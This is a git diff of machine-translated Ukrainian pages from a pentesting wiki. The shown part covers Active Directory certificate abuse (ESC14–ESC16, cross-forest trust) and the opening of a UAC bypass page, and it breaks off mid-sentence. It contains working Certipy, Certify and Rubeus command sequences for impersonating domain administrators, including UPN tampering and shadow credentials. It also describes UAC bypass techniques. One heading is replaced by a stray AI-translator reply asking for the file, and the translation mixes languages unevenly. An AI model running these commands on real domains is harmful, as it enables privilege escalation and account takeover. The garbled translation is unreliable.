address, from the SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong) -Безпека цих відображень значною мірою залежить від специфічності, унікальності та криптографічної стійкості обраних ідентифікаторів сертифіката, використаних у рядку відображення. Навіть за наявності режимів сильного прив’язування сертифікатів на Domain Controllers (які переважно впливають на неявні відображення, засновані на SAN UPNs/DNS та SID-розширенні), неправильно налаштований запис у `altSecurityIdentities` все одно може створити прямий шлях для імітації, якщо сама логіка відображення є помилковою або надто дозволяючою. +Безпека цих відображень сильно залежить від специфічності, унікальності та криптографічної стійкості обраних ідентифікаторів сертифіката, що використовуються в рядку відображення. Навіть за увімкнених режимів суворого прив'язування сертифікатів на Domain Controllers (які здебільшого впливають на неявні відображення, що базуються на SAN UPN/DNS і розширенні SID), неправильно налаштований запис `altSecurityIdentities` все ще може створити прямий шлях для імітації, якщо сама логіка відображення є помилковою або надто дозволяє. -### Сценарій зловживання +### Abuse Scenario -ESC14 націлений на явні відображення сертифікатів в Active Directory (AD), конкретно на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлено (за задумом або через неправильну конфігурацію), атакуючі можуть імітувати облікові записи, пред’являючи сертифікати, які відповідають відображенню. +ESC14 націлений на **explicit certificate mappings** в Active Directory (AD), зокрема на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлено (за задумом або через неправильну конфігурацію), атакуючі можуть імітувати облікові записи, пред'являючи сертифікати, що відповідають відображенню. #### Scenario A: Attacker Can Write to `altSecurityIdentities` -Передумова: Атакуючий має права запису до атрибута `altSecurityIdentities` цільового облікового запису або має право надати його у вигляді одного з наступних дозволів на цільовому об’єкті AD: +**Precondition**: Attacker has write permissions to the target account’s `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -723,59 +721,55 @@ ESC14 націлений на явні відображення сертифік - `GenericWrite` - `GenericAll` - Owner*. - #### Scenario B: Target Has Weak Mapping via X509RFC822 (Email) -- Передумова: У цілі є слабке X509RFC822 відображення в altSecurityIdentities. Атакуючий може встановити атрибут пошти жертви (mail) так, щоб він відповідав X509RFC822 імені цілі, оформити сертифікат від імені жертви і використовувати його для аутентифікації як цільовий обліковий запис. - +- **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target. #### Scenario C: Target Has X509IssuerSubject Mapping -- Передумова: У цілі є слабке явне відображення X509IssuerSubject в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509IssuerSubject цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис. - +- **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target. #### Scenario D: Target Has X509SubjectOnly Mapping -- Передумова: У цілі є слабке явне відображення X509SubjectOnly в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509SubjectOnly цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис. - -### конкретні операції +- **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target. +### concrete operations #### Scenario A -Запросити сертифікат за шаблоном сертифіката `Machine` +Request a certificate of the certificate template `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -Зберегти та конвертувати сертифікат +Збережіть і конвертуйте сертифікат ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Аутентифікуватися (з використанням сертифіката) +Аутентифікуватися (використовуючи сертифікат) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -Очищення (необов'язково) +Я не бачу вмісту файлу. Надішліть, будь ласка, текст (markdown) з src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md, який потрібно перекласти, і я виконую переклад з дотриманням вказаних правил. ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Для більш конкретних методів атаки в різних сценаріях зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). ## EKUwu Application Policies(CVE-2024-49019) - ESC15 -### Explanation +### Пояснення -Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc надзвичайно детальний. Нижче наведено цитату оригінального тексту. +Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc надзвичайно ґрунтовний. Нижче наведено цитату з оригінального тексту. Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Abuse +### Зловживання -Нижче наведено посилання на [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. +Нижче наведено посилання на [це посилання]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Натисніть, щоб побачити більш детальні методи використання. -Команда `find` у Certipy може допомогти виявити V1 шаблони, які потенційно вразливі до ESC15, якщо CA не оновлено. +Команда Certipy `find` може допомогти виявити шаблони V1, які потенційно вразливі до ESC15, якщо CA не виправлено. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` #### Сценарій A: Direct Impersonation via Schannel -**Крок 1: Запитати сертифікат, вставивши "Client Authentication" Application Policy та цільовий UPN.** Зловмисник `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє заявнику вказати subject). +**Крок 1: Запитати сертифікат, вказавши Application Policy "Client Authentication" та цільовий UPN.** Зловмисник `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,9 +778,9 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Вразливий шаблон V1 з "Enrollee supplies subject". -- `-application-policies 'Client Authentication'`: Вставляє OID `1.3.6.1.5.5.7.3.2` в розширення Application Policies у CSR. -- `-upn 'administrator@corp.local'`: Встановлює UPN в SAN для імперсонації. +- `-template 'WebServer'`: Уразливий V1 шаблон з "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Вставляє OID `1.3.6.1.5.5.7.3.2` у розширення Application Policies CSR. +- `-upn 'administrator@corp.local'`: Встановлює UPN у SAN для підміни особи. **Крок 2: Аутентифікуйтеся через Schannel (LDAPS), використовуючи отриманий сертифікат.** ```bash @@ -794,7 +788,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### Сценарій B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Крок 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Цей сертифікат призначений для зловмисника (`attacker@corp.local`), щоб отримати права enrollment agent. Тут не вказано UPN для особистості зловмисника, оскільки мета — здобути саме повноваження агента. +**Крок 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Цей сертифікат потрібен атакуючому (`attacker@corp.local`), щоб стати enrollment agent. Тут для власної ідентичності атакуючого не вказано UPN, оскільки мета — отримати можливість агента. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -802,9 +796,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Інжектує OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Вставляє OID `1.3.6.1.4.1.311.20.2.1`. -**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** Це крок, схожий на ESC3-like, де сертифікат з Кроку 1 використовується як agent certificate. +**Крок 2: Використайте "agent" сертифікат для запиту сертифіката від імені цільового привілейованого користувача.** Це крок, подібний до ESC3, який використовує сертифікат з Кроку 1 як agent сертифікат. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -816,48 +810,48 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Вимкнення розширення безпеки на CA (глобально) - ESC16 +## Вимкнено розширення безпеки на CA (глобально)-ESC16 ### Пояснення -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** стосується сценарію, коли, якщо конфігурація AD CS не вимагає включення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, атакуючий може скористатися цим таким чином: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** відноситься до сценарію, коли конфігурація AD CS не вимагає включення розширення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, і нападник може скористатися цим таким чином: -1. Запит сертифіката **без прив'язки SID**. +1. Запит сертифіката **without SID binding**. -2. Використання цього сертифіката **для автентифікації як будь-який обліковий запис**, наприклад, видаючи себе за обліковий запис з високими привілеями (наприклад, Domain Administrator). +2. Використання цього сертифіката **for authentication as any account**, наприклад для імітації облікового запису з високими привілеями (наприклад, Адміністратор домену). -Додатково можна звернутися до цієї статті, щоб дізнатися більше про детальний принцип: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Зловживання -Наведене посилання на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods. +Наведене посилається на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Клікніть, щоб побачити більш детальні методи використання. -Щоб визначити, чи середовище Active Directory Certificate Services (AD CS) вразливе до **ESC16** +Щоб визначити, чи середовище Active Directory Certificate Services (AD CS) вразливе до **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Крок 1: Прочитайте початковий UPN облікового запису жертви (необов'язково - для відновлення).** +**Крок 1: Прочитайте початковий UPN облікового запису жертви (Необов'язково - для відновлення). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Крок 2: Оновіть UPN облікового запису жертви на sAMAccountName цільового адміністратора.** +**Крок 2: Оновіть UPN облікового запису жертви на `sAMAccountName` цільового адміністратора.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Крок 3: (за потреби) Отримати облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).** +**Крок 3: (Якщо потрібно) Отримати облікові дані для облікового запису "victim" (наприклад, через Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Крок 4: Запросіть сертифікат від імені користувача "victim" з _будь-якого підходящого шаблону клієнтської аутентифікації_ (наприклад, "User") на ESC16-вразливому CA.** Оскільки CA вразливий до ESC16, він автоматично не включатиме розширення безпеки SID у виданому сертифікаті, незалежно від конкретних налаштувань шаблону для цього розширення. Встановіть змінну середовища кеша облікових даних Kerberos (shell command): +**Крок 4: Запитайте сертифікат від імені користувача "victim" з _будь-якого підходящого шаблону автентифікації клієнта_ (наприклад, "User") на CA, вразливому до ESC16.** Оскільки CA вразливий до ESC16, він автоматично не додаватиме SID security extension до виданого сертифікату, незалежно від конкретних налаштувань цього розширення в шаблоні. Встановіть змінну середовища Kerberos credential cache (shell command): ```bash export KRB5CCNAME=victim.ccache ``` @@ -881,18 +875,18 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Компрометація лісів за допомогою сертифікатів (пояснено у пасивному стані) +## Компрометація лісів за допомогою сертифікатів, пояснена в пасивному стані -### Порушення довірчих відносин між лісами через скомпрометовані CA +### Порушення довірчих зв'язків між лісами через скомпрометовані CA -Налаштування для **cross-forest enrollment** зроблено відносно простим. **root CA certificate** з ресурсного лісу **публікується в account forests** адміністраторами, а **enterprise CA** сертифікати з ресурсного лісу **додаються в контейнери `NTAuthCertificates` та AIA в кожному account forest**. Для ясності: ця конфігурація надає **CA в ресурсному лісі повний контроль** над усіма іншими лісами, для яких він керує PKI. Якщо цей CA буде **скомпрометований атаками**, сертифікати для всіх користувачів як ресурсного, так і account forest можуть бути **підроблені ними**, тим самим буде зламано межу безпеки лісу. +Конфігурація для **cross-forest enrollment** зроблена відносно простою. **root CA certificate** з resource forest **публікується в account forests** адміністраторами, а сертифікати **enterprise CA** з resource forest **додаються до `NTAuthCertificates` та AIA containers в кожному account forest**. Для пояснення, така схема надає **CA в resource forest повний контроль** над усіма іншими лісами, для яких він керує PKI. Якщо цей CA буде **скомпрометовано атаками**, сертифікати для всіх користувачів як у resource, так і в account forests могли б бути **підроблені ними**, тим самим порушивши межу безпеки лісу. -### Надання прав реєстрації іноземним суб'єктам +### Привілеї enrollment, надані foreign principals -У багалісних середовищах потрібно бути обережним з Enterprise CAs, які **публікують шаблони сертифікатів**, що дозволяють **Authenticated Users або foreign principals** (користувачам/групам, які належать до іншого лісу) **права на enrollment та редагування**.\ -Після автентифікації через довіру, AD додає **Authenticated Users SID** до токена користувача. Отже, якщо в домені є Enterprise CA зі шаблоном, що **дозволяє Authenticated Users права на enrollment**, цей шаблон потенційно може бути **зареєстрований користувачем з іншого лісу**. Аналогічно, якщо **права на enrollment явно надаються foreign principal у шаблоні**, тим самим створюється **cross-forest access-control relationship**, що дозволяє суб'єкту з одного лісу **реєструватися у шаблоні з іншого лісу**. +У multi-forest середовищах слід дотримуватися обережності щодо Enterprise CAs, які **publish certificate templates**, що дозволяють **Authenticated Users or foreign principals** (користувачі/групи, зовнішні для лісу, до якого належить Enterprise CA) **enrollment and edit rights**.\ +Після аутентифікації через trust, **Authenticated Users SID** додається до токена користувача AD. Таким чином, якщо домен має Enterprise CA з шаблоном, який **дозволяє Authenticated Users enrollment rights**, шаблон потенційно може бути **enrolled in by a user from a different forest**. Аналогічно, якщо **enrollment rights явно надані foreign principal шаблоном**, створюється **cross-forest access-control relationship**, що дозволяє принципалу з одного лісу **enroll in a template from another forest**. -Обидва сценарії призводять до **збільшення поверхні атаки** з одного лісу в інший. Налаштування шаблону сертифіката можуть бути використані нападником для отримання додаткових привілеїв у foreign domain. +Обидва сценарії призводять до **збільшення attack surface** з одного лесу до іншого. Налаштування certificate template можуть бути використані атакуючим для отримання додаткових привілеїв у foreign domain. ## References diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 80f019916..da11b8851 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,90 +1,89 @@ -# UAC - Контроль облікових записів користувача +# UAC - User Account Control {{#include ../../banners/hacktricks-training.md}} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка забезпечує запит на згоду для підвищених дій. Застосунки мають різні `integrity` рівні, і програма з **високим рівнем** може виконувати завдання, які **потенційно можуть скомпрометувати систему**. Коли UAC увімкнено, застосунки та завдання завжди **запускаються в контексті облікового запису звичайного користувача**, якщо адміністратор явно не надає цим застосункам/завданням доступ рівня адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межею безпеки. - -For more info about integrity levels: +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка забезпечує запит підтвердження для підвищених дій (**consent prompt for elevated activities**). У додатків є різні `integrity` рівні, і програма з **високим рівнем** може виконувати завдання, які **потенційно можуть скомпрометувати систему**. Коли UAC увімкнено, додатки та завдання за замовчуванням **запускаються в контексті без прав адміністратора**, якщо тільки адміністратор явно не надає цим додаткам/завданням доступ адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межою безпеки. +Для детальнішої інформації про рівні цілісності: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Коли UAC увімкнено, користувачу-адміністратору надаються 2 токени: стандартний токен для виконання звичайних дій як звичайний користувач і ще один токен з привілеями адміністратора. +Коли UAC активовано, користувачу-адміністратору надаються 2 токени: стандартний токен для виконання звичайних дій на звичайному рівні та один із правами адміністратора. -This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детально описує, як працює UAC, включно з процесом входу, користувацьким досвідом та архітектурою UAC. Адміністратори можуть використовувати політики безпеки для конфігурації роботи UAC на локальному рівні (через secpol.msc) або налаштовувати та розгортати їх через Group Policy Objects (GPO) в середовищі Active Directory. Різні налаштування детально описані [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань Group Policy, які можна задати для UAC. Нижче наведена додаткова інформація: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) розглядає роботу UAC детально і включає процес входу, досвід користувача та архітектуру UAC. Адміністратори можуть використовувати політики безпеки для налаштування роботи UAC у своїй організації на локальному рівні (через secpol.msc), або налаштовувати й розгортати через Group Policy Objects (GPO) в середовищі Active Directory. Різні налаштування детально описані [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань Group Policy, які можна встановити для UAC. Нижче наведено додаткові деталі: | Group Policy Setting | Registry Key | Default Setting | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Вимкнено | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Вимкнено | | [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | | [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | -| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Увімкнено (за замовчуванням для Home) Вимкнено (за замовчуванням для Enterprise) | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Вимкнено | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Увімкнено | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Увімкнено | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Увімкнено | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Увімкнено | ### UAC Bypass Theory -Деякі програми **автопідвищуються автоматично** якщо **користувач належить** до групи **administrators**. Такі бінарні файли у своїх _**Manifests**_ мають опцію _**autoElevate**_ зі значенням _**True**_. Також бінарник має бути **підписаний Microsoft**. +Деякі програми **авто-піднімаються (autoelevated)**, якщо **користувач належить** до **групи адміністраторів**. Ці бінарні файли мають у своїх _**Manifests**_ опцію _**autoElevate**_ зі значенням _**True**_. Бінарний файл також має бути **підписаний Microsoft**. -Багато процесів з авто-підвищенням надають **функціональність через COM-об'єкти або RPC-сервери**, які можуть бути викликані з процесів, що працюють із medium integrity (привілеї рівня звичайного користувача). Зверніть увагу, що COM (Component Object Model) та RPC (Remote Procedure Call) — це методи, які Windows-програми використовують для взаємодії та виконання функцій між процесами. Наприклад, **`IFileOperation COM object`** призначений для обробки файлових операцій (копіювання, видалення, переміщення) і може автоматично підвищити привілеї без запиту. +Багато процесів з авто-підвищенням надають **функціональність через COM-об'єкти або RPC сервери**, які можна викликати з процесів, що працюють з середнім рівнем привілеїв (звичайні привілеї користувача). Зауважте, що COM (Component Object Model) і RPC (Remote Procedure Call) — це методи, які Windows-програми використовують для взаємодії та виконання функцій між різними процесами. Наприклад, **`IFileOperation COM object`** призначений для роботи з файловими операціями (копіювання, видалення, переміщення) і може автоматично підвищувати привілеї без запиту. -Зверніть увагу, що можуть виконуватися певні перевірки, наприклад перевірка, чи процес запущено з **System32 directory**, яку можна обійти, наприклад, **інжекцією в explorer.exe** або інший виконуваний файл, що знаходиться в System32. +Зверніть увагу, що можуть виконуватися певні перевірки, наприклад перевірка, чи процес запускався з каталогу **System32**, яку можна обійти, наприклад, **інжектуючи в explorer.exe** або інший виконуваний файл, розташований у System32. -Інший спосіб обійти ці перевірки — **змінити PEB**. Кожен процес у Windows має Process Environment Block (PEB), який містить важливі дані про процес, такі як шлях до виконуваного файлу. Змінивши PEB, атакуючі можуть підробити (spoof) місцезнаходження свого шкідливого процесу, змушуючи його виглядати так, ніби він запускається з довіреної директорії (наприклад, system32). Ця підроблена інформація обманює COM-об'єкт, щоб він автоматично підвищив привілеї без запиту. +Ще один спосіб обійти ці перевірки — **змінити PEB**. Кожен процес у Windows має Process Environment Block (PEB), який містить важливі дані про процес, такі як шлях до виконуваного файлу. Змінюючи PEB, зловмисники можуть підробити (spoof) місцезнаходження свого шкідливого процесу, зробивши вигляд, ніби він запускається з довіреного каталогу (наприклад, system32). Ця підроблена інформація обманює COM-об'єкт і призводить до авто-підвищення привілеїв без запиту користувача. -Потім, щоб **обійти UAC** (підвищити з рівня medium integrity до high), деякі зловмисники використовують такі бінарні файли для **виконання довільного коду**, оскільки він буде виконаний із процесу з High level integrity. +Потім, щоб **обійти** **UAC** (піднятися з **medium** рівня цілісності **до high**), деякі атаки використовують такого роду бінарники для **виконання довільного коду**, оскільки він буде виконаний з процесу **High level integrity**. -Ви можете **перевірити** _**Manifest**_ бінарного файлу за допомогою інструменту _**sigcheck.exe**_ від Sysinternals. (`sigcheck.exe -m `) Також ви можете **переглянути** рівень integrity процесів за допомогою _Process Explorer_ або _Process Monitor_ (від Sysinternals). +Ви можете **перевірити** _**Manifest**_ бінарного файлу за допомогою утиліти _**sigcheck.exe**_ від Sysinternals. (`sigcheck.exe -m `) А також ви можете **побачити** **рівень цілісності** процесів за допомогою _Process Explorer_ або _Process Monitor_ (від Sysinternals). ### Check UAC -Щоб підтвердити, чи UAC увімкнено, виконайте: +To confirm if UAC is enabled do: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Якщо це **`1`**, то UAC **активовано**, якщо це **`0`** або воно **не існує**, то UAC **неактивний**. +Якщо це **`1`**, то UAC **увімкнено**, якщо це **`0`** або він не існує, то UAC **вимкнено**. -Потім перевірте **який рівень** налаштований: +Потім перевірте, **який рівень** налаштований: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Якщо **`0`**, то UAC не буде запитувати підтвердження (як **відключено**) -- Якщо **`1`**, у адміністратора запитують ім'я користувача та пароль для запуску бінарного файлу з підвищеними правами (на Secure Desktop) -- Якщо **`2`** (**Завжди сповіщати мене**) UAC завжди вимагатиме підтвердження від адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop) -- Якщо **`3`** — як `1`, але не обов'язково на Secure Desktop -- Якщо **`4`** — як `2`, але не обов'язково на Secure Desktop -- Якщо **`5`** (значення за замовчуванням) — буде просити адміністратора підтвердити запуск non-Windows binaries з підвищеними правами +- Якщо **`0`**, тоді UAC не буде запитувати (як **вимкнено**) +- Якщо **`1`**, адміністратора **попросить ввести ім'я користувача та пароль** для запуску бінарника з підвищеними правами (на Secure Desktop) +- Якщо **`2`** (**Завжди сповіщати мене**), UAC завжди вимагатиме підтвердження від адміністратора, коли той намагається виконати щось з підвищеними привілеями (на Secure Desktop) +- Якщо **`3`** як `1`, але не обов'язково на Secure Desktop +- Якщо **`4`** як `2`, але не обов'язково на Secure Desktop +- якщо **`5`** (**за замовчуванням**) він проситиме адміністратора підтвердити запуск не-Windows бінарників з підвищеними правами -Далі слід поглянути на значення **`LocalAccountTokenFilterPolicy`**\ -Якщо значення **`0`**, то лише користувач з **RID 500** (**built-in Administrator**) може виконувати **admin tasks without UAC**, а якщо 